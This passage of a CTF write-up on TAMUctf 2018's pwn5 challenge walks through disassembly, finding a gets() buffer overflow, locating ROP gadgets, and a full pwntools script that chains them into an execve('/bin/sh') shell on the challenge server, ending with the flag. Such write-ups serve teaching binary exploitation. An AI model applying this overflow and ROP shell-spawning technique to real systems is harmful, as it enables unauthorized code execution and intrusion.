<code>r2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [25]; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# r2 pwn5\r\nWarning: Cannot initialize dynamic strings\r\n&#x5B;0x08048756]&gt; aaa\r\n...\r\n&#x5B;0x08048756]&gt; iI\r\nhavecode true\r\npic      false\r\ncanary   false\r\nnx       true\r\ncrypto   false\r\nva       true\r\nbintype  elf\r\nclass    ELF32\r\nlang     c\r\narch     x86\r\nbits     32\r\nmachine  Intel 80386\r\nos       linux\r\nminopsz  1\r\nmaxopsz  16\r\npcalign  0\r\nsubsys   linux\r\nendian   little\r\nstripped false\r\nstatic   true\r\nlinenum  true\r\nlsyms    true\r\nrelocs   true\r\nrpath    NONE\r\nbinsz    749160\r\n<\/pre>\n<p>The command <code>iI<\/code> does basically the same as <code>checksec<\/code> providing a few more details. This was not relevant for the last binaries but here there is something special. The highlighted line states that the binary is static. This means that all required functions (for example from libc) are built in within the binary. This way no shared libraries are required to run the program. Unfortunately this also means that we cannot use <i>ret2libc<\/i> because we can only use the functions which are built-in.<\/p>\n<p>Before we get to the actual exploit we have to spot a vulnerability within the program:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048756]&gt; pdf @ main \r\n            ;-- main:\r\n\/ (fcn) sym.main 36\r\n|   sym.main (int arg_4h);\r\n|           ; arg int arg_4h @ esp+0x4\r\n|           ; DATA XREF from 0x0804876d (entry0)\r\n|           0x08048c85      8d4c2404       lea ecx, dword &#x5B;esp + arg_4h] ; 0x4\r\n|           0x08048c89      83e4f0         and esp, 0xfffffff0\r\n|           0x08048c8c      ff71fc         push dword &#x5B;ecx - 4]\r\n|           0x08048c8f      55             push ebp\r\n|           0x08048c90      89e5           mov ebp, esp\r\n|           0x08048c92      51             push ecx\r\n|           0x08048c93      83ec04         sub esp, 4\r\n|           0x08048c96      e891feffff     call sym.print_beginning   ; floating_point rint(arithmetic x);\r\n|           0x08048c9b      b800000000     mov eax, 0\r\n|           0x08048ca0      83c404         add esp, 4\r\n|           0x08048ca3      59             pop ecx\r\n|           0x08048ca4      5d             pop ebp\r\n|           0x08048ca5      8d61fc         lea esp, dword &#x5B;ecx - 4]\r\n\\           0x08048ca8      c3             ret\r\n<\/pre>\n<p>Within the <code>main<\/code> function there is basically only a call to <code>sym.print_beginning<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [10,26,42]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048756]&gt; pdf @ sym.print_beginning \r\n\/ (fcn) sym.print_beginning 345\r\n|   sym.print_beginning ();\r\n|           ; var int local_9h @ ebp-0x9\r\n|           ; CALL XREF from 0x08048c96 (sym.main)\r\n...\r\n|           0x08048b7a      50             push eax\r\n|           0x08048b7b      6a64           push 0x64                   ; 'd' ; 'd'\r\n|           0x08048b7d      68201a0f08     push obj.first_name ; obj.first_name ; obj.first_name\r\n|           0x08048b82      e839680000     call sym.fgets             ; char *fgets(char *s, int size, FILE *stream);\r\n|           0x08048b87      83c410         add esp, 0x10\r\n|           0x08048b8a      83ec08         sub esp, 8\r\n|           0x08048b8d      68adfd0b08     push 0x80bfdad\r\n|           0x08048b92      68201a0f08     push obj.first_name ; obj.first_name ; obj.first_name\r\n|           0x08048b97      e8043d0100     call sym.strtok            ; char*strtok(char *s1, const char *s2);\r\n|           0x08048b9c      83c410         add esp, 0x10\r\n|           0x08048b9f      83ec0c         sub esp, 0xc\r\n|           0x08048ba2      68affd0b08     push str.What_is_your_last_name_: ; str.What_is_your_last_name_: ; &quot;What is your last name?: &quot; @ 0x80bfdaf\r\n|           0x08048ba7      e834640000     call sym.__printf          ; int printf(const char *format);\r\n|           0x08048bac      83c410         add esp, 0x10\r\n|           0x08048baf      a1bc040f08     mov eax, dword &#x5B;obj.stdin]  ; &#x5B;0x80f04bc:4]=0x80f0360 obj._IO_2_1_stdin_ LEA obj._IO_stdin ; &quot;`............&quot; @ 0x80f04bc\r\n|           0x08048bb4      83ec04         sub esp, 4\r\n|           0x08048bb7      50             push eax\r\n|           0x08048bb8      6a64           push 0x64                   ; 'd' ; 'd'\r\n|           0x08048bba      68a01a0f08     push obj.last_name ; obj.last_name ; obj.last_name\r\n|           0x08048bbf      e8fc670000     call sym.fgets             ; char *fgets(char *s, int size, FILE *stream);\r\n|           0x08048bc4      83c410         add esp, 0x10\r\n|           0x08048bc7      83ec08         sub esp, 8\r\n|           0x08048bca      68adfd0b08     push 0x80bfdad\r\n|           0x08048bcf      68a01a0f08     push obj.last_name ; obj.last_name ; obj.last_name\r\n|           0x08048bd4      e8c73c0100     call sym.strtok            ; char*strtok(char *s1, const char *s2);\r\n|           0x08048bd9      83c410         add esp, 0x10\r\n|           0x08048bdc      83ec0c         sub esp, 0xc\r\n|           0x08048bdf      68c9fd0b08     push str.What_is_your_major_: ; str.What_is_your_major_: ; &quot;What is your major?: &quot; @ 0x80bfdc9\r\n|           0x08048be4      e8f7630000     call sym.__printf          ; int printf(const char *format);\r\n|           0x08048be9      83c410         add esp, 0x10\r\n|           0x08048bec      a1bc040f08     mov eax, dword &#x5B;obj.stdin]  ; &#x5B;0x80f04bc:4]=0x80f0360 obj._IO_2_1_stdin_ LEA obj._IO_stdin ; &quot;`............&quot; @ 0x80f04bc\r\n|           0x08048bf1      83ec04         sub esp, 4\r\n|           0x08048bf4      50             push eax\r\n|           0x08048bf5      6a14           push 0x14\r\n|           0x08048bf7      68041a0f08     push obj.major ; obj.major  ; obj.major\r\n|           0x08048bfc      e8bf670000     call sym.fgets             ; char *fgets(char *s, int size, FILE *stream);\r\n...\r\n|           0x08048c83      c9             leave\r\n\\           0x08048c84      c3             ret\r\n<\/pre>\n<p>I truncated the output a little bit. The highlighted lines read the user input. But this time <code>fgets<\/code> is used instead of <code>gets<\/code>. <code>fgets<\/code> is called passing the maximum amount of bytes to read. This means we cannot leverage this for a buffer overflow as long as the appropriate amount is passed. Since this seems right for the calls above, let's keep on looking in other functions:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5,6]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048756]&gt; pdf @ sym.first_day_corps \r\n\/ (fcn) sym.first_day_corps 296\r\n|   sym.first_day_corps ();\r\n...\r\n|           0x08048a5f      e8fc870000     call sym.getchar           ; int getchar(void);\r\n|           0x08048a64      e8f7870000     call sym.getchar           ; int getchar(void);\r\n|           0x08048a69      8845f7         mov byte &#x5B;ebp - local_9h], al\r\n|           0x08048a6c      0fbe45f7       movsx eax, byte &#x5B;ebp - local_9h]\r\n|           0x08048a70      83f832         cmp eax, 0x32               ; '2' ; '2'\r\n|       ,=&lt; 0x08048a73      7455           je 0x8048aca\r\n|       |   0x08048a75      83f832         cmp eax, 0x32               ; '2' ; '2'\r\n...\r\n|  |||||`-&gt; 0x08048aca      83ec08         sub esp, 8\r\n|  |||||    0x08048acd      68041a0f08     push obj.major ; obj.major  ; obj.major\r\n|  |||||    0x08048ad2      6884f70b08     push str.You_decide_that_you_are_already_tired_of_studying__s_and_go_to_the_advisors_office_to_change_your_major_n ; str.You_decide_that_you_are_already_tired_of_studying__s_and_go_to_the_advisors_office_to_change_your_major_n ; &quot;You decide that you are already tired of studying %s and go to the advisors office to change your major.&quot; @ 0x80bf784\r\n|  |||||    0x08048ad7      e804650000     call sym.__printf          ; int printf(const char *format);\r\n|  |||||    0x08048adc      83c410         add esp, 0x10\r\n|  |||||    0x08048adf      83ec0c         sub esp, 0xc\r\n|  |||||    0x08048ae2      68f0f70b08     push str.What_do_you_change_your_major_to_: ; str.What_do_you_change_your_major_to_: ; &quot;What do you change your major to?: &quot; @ 0x80bf7f0\r\n|  |||||    0x08048ae7      e8f4640000     call sym.__printf          ; int printf(const char *format);\r\n|  |||||    0x08048aec      83c410         add esp, 0x10\r\n|  |||||    0x08048aef      e8a8fdffff     call sym.change_major\r\n|  |||||,=&lt; 0x08048af4      eb33           jmp 0x8048b29\r\n...\r\n|  `-````-&gt; 0x08048b29      90             nop\r\n|           0x08048b2a      c9             leave\r\n\\           0x08048b2b      c3             ret\r\n<\/pre>\n<p>Here <code>getchar<\/code> is used, which only reads a single character. No overflow here, too. Let's keep on searching:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [14]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048756]&gt; pdf @ sym.change_major \r\n\/ (fcn) sym.change_major 72\r\n|   sym.change_major ();\r\n|           ; var int local_1ch @ ebp-0x1c\r\n|           ; CALL XREF from 0x080489c2 (sym.first_day_normal)\r\n|           ; CALL XREF from 0x08048aef (sym.first_day_corps)\r\n|           0x0804889c      55             push ebp\r\n|           0x0804889d      89e5           mov ebp, esp\r\n|           0x0804889f      83ec28         sub esp, 0x28               ; '('\r\n|           0x080488a2      e8b9890000     call sym.getchar           ; int getchar(void);\r\n|           0x080488a7      83ec0c         sub esp, 0xc\r\n|           0x080488aa      8d45e4         lea eax, dword &#x5B;ebp - local_1ch]\r\n|           0x080488ad      50             push eax\r\n|           0x080488ae      e82d6f0000     call sym.gets              ; char*gets(char *s);\r\n|           0x080488b3      83c410         add esp, 0x10\r\n|           0x080488b6      83ec04         sub esp, 4\r\n|           0x080488b9      6a14           push 0x14\r\n|           0x080488bb      68041a0f08     push obj.major ; obj.major  ; obj.major\r\n|           0x080488c0      8d45e4         lea eax, dword &#x5B;ebp - local_1ch]\r\n|           0x080488c3      50             push eax\r\n|           0x080488c4      e897f9ffff     call fcn.08048260\r\n|           0x080488c9      83c410         add esp, 0x10\r\n|           0x080488cc      83ec08         sub esp, 8\r\n|           0x080488cf      68041a0f08     push obj.major ; obj.major  ; obj.major\r\n|           0x080488d4      6808f50b08     push str.You_changed_your_major_to:__s_n ; str.You_changed_your_major_to:__s_n ; &quot;You changed your major to: %s.&quot; @ 0x80bf508\r\n|           0x080488d9      e802670000     call sym.__printf          ; int printf(const char *format);\r\n|           0x080488de      83c410         add esp, 0x10\r\n|           0x080488e1      90             nop\r\n|           0x080488e2      c9             leave\r\n\\           0x080488e3      c3             ret\r\n&#x5B;0x08048756]&gt; \r\n<\/pre>\n<p>Great! Within <code>sym.change_major<\/code> the function <code>gets<\/code> is used to read the user input. We have already seen that this function is prone to buffer overflows.<\/p>\n<p>In order to overflow the buffer within <code>sym.change_major<\/code> using a pattern, we have to select the appropriate menu entries of the text adventure beforehand.<\/p>\n<p>I used a python-script to do this:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# cat pwn5.py \r\nfrom pwn import *\r\n\r\np = process(&quot;.\/pwn5&quot;)\r\n\r\nraw_input()\r\n\r\np.sendline(&quot;ffff&quot;)  # first_name\r\np.sendline(&quot;llll&quot;)  # last_name\r\np.sendline(&quot;mmmm&quot;)  # major\r\np.sendline(&quot;y&quot;)     # --&gt; Corps of Cadets\r\np.sendline(&quot;2&quot;)     # --&gt; 2. Change your major.\r\n\r\np.sendline(cyclic(200))\r\np.interactive()\r\n<\/pre>\n<p>After starting the process I added a call to <code>raw_input()<\/code> which pauses the execution of the script until something is entered:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# python pwn5.py \r\n&#x5B;+] Starting local process '.\/pwn5': pid 18553\r\n<\/pre>\n<p>This way I can attach <code>gdb<\/code> to the running process in another shell:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads# gdb .\/pwn5 $(pidof pwn5)\r\n...\r\nAttaching to process 18599\r\nReading symbols from \/root\/Downloads\/pwn_tamu\/pwn5...(no debugging symbols found)...done.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xfffffe00 \r\nEBX: 0x0 \r\nECX: 0x8b0a4f0 --&gt; 0x0 \r\nEDX: 0x1000 \r\nESI: 0x80f0360 --&gt; 0xfbad2088 \r\nEDI: 0x80f1a20 --&gt; 0x0 \r\nEBP: 0xff86dc08 --&gt; 0x63 ('c')\r\nESP: 0xff86dbb8 --&gt; 0xff86dc08 --&gt; 0x63 ('c')\r\nEIP: 0xf77b5c89 (&lt;__kernel_vsyscall+9&gt;:\tpop    ebp)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0xf77b5c83 &lt;__kernel_vsyscall+3&gt;:\tmov    ebp,esp\r\n   0xf77b5c85 &lt;__kernel_vsyscall+5&gt;:\tsysenter \r\n   0xf77b5c87 &lt;__kernel_vsyscall+7&gt;:\tint    0x80\r\n=&gt; 0xf77b5c89 &lt;__kernel_vsyscall+9&gt;:\tpop    ebp\r\n   0xf77b5c8a &lt;__kernel_vsyscall+10&gt;:\tpop    edx\r\n   0xf77b5c8b &lt;__kernel_vsyscall+11&gt;:\tpop    ecx\r\n   0xf77b5c8c &lt;__kernel_vsyscall+12&gt;:\tret    \r\n   0xf77b5c8d:\tnop\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xff86dbb8 --&gt; 0xff86dc08 --&gt; 0x63 ('c')\r\n0004| 0xff86dbbc --&gt; 0x1000 \r\n0008| 0xff86dbc0 --&gt; 0x8b0a4f0 --&gt; 0x0 \r\n0012| 0xff86dbc4 --&gt; 0x8071972 (&lt;__read_nocancel+24&gt;:\tpop    ebx)\r\n0016| 0xff86dbc8 --&gt; 0x80f0360 --&gt; 0xfbad2088 \r\n0020| 0xff86dbcc --&gt; 0x8051af2 (&lt;_IO_new_file_underflow+274&gt;:\tadd    esp,0x10)\r\n0024| 0xff86dbd0 --&gt; 0x0 \r\n0028| 0xff86dbd4 --&gt; 0x8b0a4f0 --&gt; 0x0 \r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n0xf77b5c89 in __kernel_vsyscall ()\r\ngdb-peda$\r\n<\/pre>\n<p>At first we should add a breakpoint to the <code>ret<\/code> instruction of the function where the user input vulnerable to a buffer overflow is read:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,26,28]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble change_major \r\nDump of assembler code for function change_major:\r\n   0x0804889c &lt;+0&gt;:\tpush   ebp\r\n   0x0804889d &lt;+1&gt;:\tmov    ebp,esp\r\n   0x0804889f &lt;+3&gt;:\tsub    esp,0x28\r\n   0x080488a2 &lt;+6&gt;:\tcall   0x8051260 &lt;getchar&gt;\r\n   0x080488a7 &lt;+11&gt;:\tsub    esp,0xc\r\n   0x080488aa &lt;+14&gt;:\tlea    eax,&#x5B;ebp-0x1c]\r\n   0x080488ad &lt;+17&gt;:\tpush   eax\r\n   0x080488ae &lt;+18&gt;:\tcall   0x804f7e0 &lt;gets&gt;\r\n   0x080488b3 &lt;+23&gt;:\tadd    esp,0x10\r\n   0x080488b6 &lt;+26&gt;:\tsub    esp,0x4\r\n   0x080488b9 &lt;+29&gt;:\tpush   0x14\r\n   0x080488bb &lt;+31&gt;:\tpush   0x80f1a04\r\n   0x080488c0 &lt;+36&gt;:\tlea    eax,&#x5B;ebp-0x1c]\r\n   0x080488c3 &lt;+39&gt;:\tpush   eax\r\n   0x080488c4 &lt;+40&gt;:\tcall   0x8048260\r\n   0x080488c9 &lt;+45&gt;:\tadd    esp,0x10\r\n   0x080488cc &lt;+48&gt;:\tsub    esp,0x8\r\n   0x080488cf &lt;+51&gt;:\tpush   0x80f1a04\r\n   0x080488d4 &lt;+56&gt;:\tpush   0x80bf508\r\n   0x080488d9 &lt;+61&gt;:\tcall   0x804efe0 &lt;printf&gt;\r\n   0x080488de &lt;+66&gt;:\tadd    esp,0x10\r\n   0x080488e1 &lt;+69&gt;:\tnop\r\n   0x080488e2 &lt;+70&gt;:\tleave  \r\n   0x080488e3 &lt;+71&gt;:\tret    \r\nEnd of assembler dump.\r\ngdb-peda$ b *change_major+71\r\nBreakpoint 1 at 0x80488e3\r\n<\/pre>\n<p>After this we can continue the process' execution:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n<\/pre>\n<p>Now we can hit <code>ENTER<\/code> in the other shell continuing the executon of the python-script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n&lt;ENTER&gt;\r\n&#x5B;*] Switching to interactive mode\r\nWelcome to the TAMU Text Adventure!\r\nYou are about to begin your journey at Texas A&amp;M as a student\r\nBut first tell me a little bit about yourself\r\nWhat is your first name?: What is your last name?: What is your major?: Are you joining the Corps of Cadets?(y\/n): \r\nWelcome, ffff llll, to Texas A&amp;M!\r\nYou wake with a start as your sophomore yells &quot;Wake up fish llll! Why aren't you with your buddies in the fallout hole?&quot;\r\nAs your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.\r\nYou spend your morning excersizing and eating chow.\r\nFinally your first day of class begins at Texas A&amp;M. What do you decide to do next?(Input option number)\r\n1. Go to class.\r\n2. Change your major.\r\n3. Skip class and sleep\r\n4. Study\r\nYou decide that you are already tired of studying mmmm and go to the advisors office to change your major\r\nWhat do you change your major to?: You changed your major to: mmmm\r\n$  \r\n<\/pre>\n<p>In the <code>gdb<\/code> shell the breakpoint is hit:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [9,16,22]; title: ; notranslate\" title=\"\">\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x20 (' ')\r\nEBX: 0x80481b0 (&lt;_init&gt;:\tpush   ebx)\r\nECX: 0x7fffffe0 \r\nEDX: 0x80f14d4 --&gt; 0x0 \r\nESI: 0x80f000c --&gt; 0x80649f0 (&lt;__strcpy_ssse3&gt;:\tmov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEDI: 0x5c ('\\\\')\r\nEBP: 0x61616168 ('haaa')\r\nESP: 0xff86dcdc (&quot;iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\nEIP: 0x80488e3 (&lt;change_major+71&gt;:\tret)\r\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x80488de &lt;change_major+66&gt;:\tadd    esp,0x10\r\n   0x80488e1 &lt;change_major+69&gt;:\tnop\r\n   0x80488e2 &lt;change_major+70&gt;:\tleave  \r\n=&gt; 0x80488e3 &lt;change_major+71&gt;:\tret    \r\n   0x80488e4 &lt;first_day_normal&gt;:\tpush   ebp\r\n   0x80488e5 &lt;first_day_normal+1&gt;:\tmov    ebp,esp\r\n   0x80488e7 &lt;first_day_normal+3&gt;:\tsub    esp,0x18\r\n   0x80488ea &lt;first_day_normal+6&gt;:\tsub    esp,0xc\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xff86dcdc (&quot;iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n0004| 0xff86dce0 (&quot;jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n0008| 0xff86dce4 (&quot;kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n0012| 0xff86dce8 (&quot;laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n0016| 0xff86dcec (&quot;maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n0020| 0xff86dcf0 (&quot;naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n0024| 0xff86dcf4 (&quot;oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n0028| 0xff86dcf8 (&quot;paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x080488e3 in change_major ()\r\ngdb-peda$ \r\n<\/pre>\n<p>The next instruction is the <code>ret<\/code> instruction which will take the return address from the stack and proceed the execution at this address. On top of the stack is the value <code>\"iaaa\"<\/code> from our cyclic pattern. This means that the instruction pointer would be set to this value.<\/p>\n<p>We can calculate the offset with <code>python \/ pwntools<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads# python\r\n...\r\n&gt;&gt;&gt; from pwn import *\r\n&gt;&gt;&gt; cyclic_find(&quot;iaaa&quot;)\r\n32\r\n<\/pre>\n<p>We can now control the instruction pointer setting it to any address we would like to. But what address should we put it to? As we already figured out, we cannot use <i>ret2libc<\/i> since the binary is statically linked. Unfortunately the function <code>system<\/code> was not built in. We also cannot store and execute a shellcode on the stack since <code>NX<\/code> is enabled. Thus we have to use another technique called <i>Return Oriented Programming (ROP)<\/i>. For more information on this technique see <a href=\"https:\/\/devel0pment.de\/?p=366\" target=\"_blank\" rel=\"noopener\">my writeup for RPISEC\/MBE lab05<\/a>.<\/p>\n<p><i>ROP<\/i> in short: we build a so called <i>RIP-chain<\/i> of little instruction snippets (<i>gadgets<\/i>) followed by a <code>ret<\/code> instruction in order to perform a more complex operation. In this case we want to make a syscall to <code>execve<\/code> passing the string <code>\"\/bin\/sh\"<\/code>. This is the same what the shellcode we used for <code>pwn3<\/code> does.<\/p>\n<p>Unfortunately the binary does not contain the string <code>\"\/bin\/sh\"<\/code>. This means we have to store it somewhere on our own. Because of ASLR the stack addresses are randomized and if we stored the string on the stack, we would not know its' address.<\/p>\n<p>Luckily the information read on the beginning of the program (<code>first_name<\/code>, <code>last_name<\/code>, ...) are not stored on the stack:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048756]&gt; is~first_name\r\nvaddr=0x080f1a20 paddr=0x000a8a20 ord=1946 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=first_name\r\n<\/pre>\n<p>The variable <code>first_name<\/code> is global and is not being initialized. Uninitialized global variables are stored in the <code>.bss<\/code> section as we can verify by viewing the addresses:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048756]&gt; iS~.bss\r\nidx=17 vaddr=0x080eff6c paddr=0x000a6f6c sz=24 vsz=24 perm=--rw- name=.tbss\r\nidx=25 vaddr=0x080f0f80 paddr=0x000a7f80 sz=3884 vsz=3884 perm=--rw- name=.bss\r\n<\/pre>\n<p>This means that we can enter <code>\"\/bin\/sh\"<\/code> as the first name and this string will be stored at the fixed address <code>0x080f1a20<\/code>.<\/p>\n<p>At next we have to find the appropriate instruction snippets (ROP-gadgets) to make the syscall to <code>execve<\/code>. This can be done using <code>r2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048756]&gt; &quot;\/R\/ pop ecx;ret&quot;\r\n  ...\r\n  0x080e4325                 59  pop ecx\r\n  0x080e4326                 c3  ret\r\n  ...\r\n\r\n\r\n&#x5B;0x08048756]&gt; &quot;\/R\/ pop edx;ret&quot;\r\n  ...\r\n  0x080ea949                 5a  pop edx\r\n  0x080ea94a                 c3  ret\r\n  ...\r\n\r\n\r\n&#x5B;0x08048756]&gt; &quot;\/R\/ xor eax, eax;ret&quot;\r\n  ...\r\n  0x080be483               31c0  xor eax, eax\r\n  0x080be485                 5b  pop ebx\r\n  0x080be486                 c3  ret\r\n  ...\r\n\r\n\r\n&#x5B;0x08048756]&gt; &quot;\/R\/ mov al, 0xa;ret&quot;\r\n  ...\r\n  0x080e80d5               b00a  mov al, 0xa\r\n  0x080e80d7                 c3  ret\r\n  ...\r\n\r\n\r\n&#x5B;0x08048756]&gt; &quot;\/R\/ inc eax;ret&quot;\r\n  ...\r\n  0x0807ebcf                 40  inc eax\r\n  0x0807ebd0                 c3  ret\r\n  ...\r\n\r\n\r\n\r\n&#x5B;0x08048756]&gt; &quot;\/R\/ int 0x80&quot;\r\n  ...\r\n  0x08073990               cd80  int 0x80\r\n  ...\r\n<\/pre>\n<p>If certain gadgets are not available you have to be creative and find other ways to perform the required operation. For example I did not find a gadget which will store <code>0xb<\/code> in <code>eax<\/code> (the syscall number for <code>execve<\/code>). Instead I found a gadget, which stores <code>0xa<\/code> in <code>eax<\/code> and another gadget which increments <code>eax<\/code> by one.<\/p>\n<p>When we found all required gadgets we can finally write a python-script which stores the string <code>\"\/bin\/sh\"<\/code>, overwrites the return address and sets up the ROP-chain:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# cat pwn5.py \r\nfrom pwn import *\r\n\r\np = remote(&quot;pwn.ctf.tamu.edu&quot;, 4325)\r\n\r\np.sendline(&quot;\/bin\/sh&quot;)   # obj.first_name stored at 0x080f1a20\r\np.sendline(&quot;llll&quot;)\r\np.sendline(&quot;mmmm&quot;)\r\np.sendline(&quot;y&quot;)\r\np.sendline(&quot;2&quot;)\r\n\r\nexpl = &quot;A&quot;*32\r\nexpl += p32(0x080e4325) # pop ecx; ret\r\nexpl += p32(0x00000000)\r\nexpl += p32(0x080ea949) # pop edx; ret\r\nexpl += p32(0x00000000)\r\nexpl += p32(0x080be483) # xor eax, eax; pop ebx; ret\r\nexpl += p32(0x080f1a20) # --&gt; obj.first_name\r\nexpl += p32(0x080e80d5) # mov al, 0xa; ret\r\nexpl += p32(0x0807ebcf) # inc eax; ret\r\nexpl += p32(0x08073990) # int 0x80\r\np.sendline(expl)\r\n\r\np.interactive()\r\n<\/pre>\n<p>The return address is overwritten with the address of our first gadget. All other gadget addresses will be popped off the stack and loaded into <code>eip<\/code> by the <code>ret<\/code> instruction at the end of each previous gadget.<\/p>\n<p>Running the script spawns our shell:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# python pwn5.py \r\n&#x5B;+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\npwnuser\r\n$ ls -al\r\ntotal 748\r\ndrwxr-xr-x  2 pwnflag pwnflag   4096 Feb 17 00:24 .\r\ndrwxr-xr-x 45 root    root      4096 Feb 17 00:24 ..\r\n-r--r--r--  1 pwnflag pwnflag     25 Feb 16 22:13 flag.txt\r\n-rwsr-xr-x  1 pwnflag pwnflag 750400 Feb 16 22:13 pwn5\r\n$ cat flag.txt\r\ngigem{r37urn_0f_7h3_pwn}\r\n<\/pre>\n<p>Done \ud83d\ude42 The flag is <code>gigem{r37urn_0f_7h3_pwn}<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Texas A&#038;M University CTF (ctftime.org) ran for over one week from 17\/02\/2018, 00:00 UTC to 26\/02\/2018 00:00 UTC. There have been a lot of challenges starting at a very easy difficulty. I did the five pwn challenges ranging from 25 to 200 points: &#8211;&gt; pwn1 (25 pts) &#8211;&gt; pwn2 (50 pts) &#8211;&gt; pwn3 (75 &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=407\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;TAMUctf 18 &#8211; writeup pwn1-5&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,7],"tags":[8,9,13,10,11,14],"class_list":["post-407","post","type-post","status-publish","format-standard","hentry","category-ctf","category-writeup","tag-assembly","tag-binary","tag-elf","tag-pwn","tag-r2","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/407"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40